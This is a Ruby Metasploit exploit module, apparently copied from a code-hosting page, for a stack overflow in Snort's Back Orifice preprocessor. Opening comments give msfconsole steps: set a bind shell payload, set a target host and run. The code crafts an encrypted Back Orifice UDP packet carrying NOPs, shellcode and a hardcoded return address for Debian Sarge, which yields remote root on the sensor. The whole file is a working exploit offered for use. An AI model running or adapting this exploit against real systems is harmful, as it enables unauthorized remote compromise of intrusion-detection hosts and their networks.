98 lines
3.6 KiB
Ruby
98 lines
3.6 KiB
Ruby
#use exploit/linux/ids/snortbopre
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#set PAYLOAD linux/x86/shell/bind_tcp
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#set RHOST 10.10.10.196
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#exploit
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require 'msf/core'
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module Msf
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class Exploits::Linux::Ids::Snortbopre < Msf::Exploit::Remote
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include Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Snort Back Orifice Pre-Preprocessor Remote Exploit',
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'Description' => %q{
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Snort versions since 2.4.0 contain a remotely exploitable vulnerability when
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processing Back Orifice (BO) backdoor packets. When determining the
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direction (to or from server) of a BO packet, a stack-based overflow can
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be triggered by an attacker. This vulnerability could be used to completely
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compromise a Snort sensor, and would typically gain an attacker full root
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or administrative privileges.
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},
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'Author' => 'KaiJern Lau <xwings [at] mysec.org>',
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'Version' => '$Revision$',
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'References' =>
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[
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['URL','http://xforce.iss.net/xforce/alerts/id/207'] ,
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],
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'Payload' =>
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{
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'Space' => 1073, #ret : 1069
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'BadChars' => "\x00",
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},
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'Targets' =>
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[
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# Target 0: Debian 3.1 Sarge
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[
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'Debian 3.1 Sarge',
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{
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'Platform' => 'linux',
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'Ret' => 0xbffff350
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}
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],
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],
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'DefaultTarget' => 0))
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# Configure the default port to be 9080
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register_options(
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[
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Opt::RPORT(9080),
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], self.class)
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end
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def msrand(seed)
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@holdrand = 31337
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end
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def mrand()
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return (((@holdrand=@holdrand*(214013 & 0xffffffff)+(2531011 & 0xffffffff))>>16)&0x7fff)
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end
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def bocrypt(takepayload)
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@arrpayload = (takepayload.split(//))
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encpayload = ""
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@holdrand=0
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msrand(0)
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@arrpayload.each do |c|
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encpayload +=((c.unpack("C*").map{ |v| (v^(mrand()%256)) }.join)).to_i.chr
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end
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return encpayload
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end
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def exploit
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connect_udp
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boheader = "*!*QWTY?" +
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[1096].pack("V") + # Length ,thanx Russell Sanford
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"\xed\xac\xef\x0d"+ # ID
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"\x01" # PING
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filler = make_nops(1069 -(boheader.length + payload.encode.length))
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udp_sock.write(bocrypt(boheader+payload.encode+filler+[target.ret].pack('V')))
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handler
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disconnect_udp
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end
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end
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end
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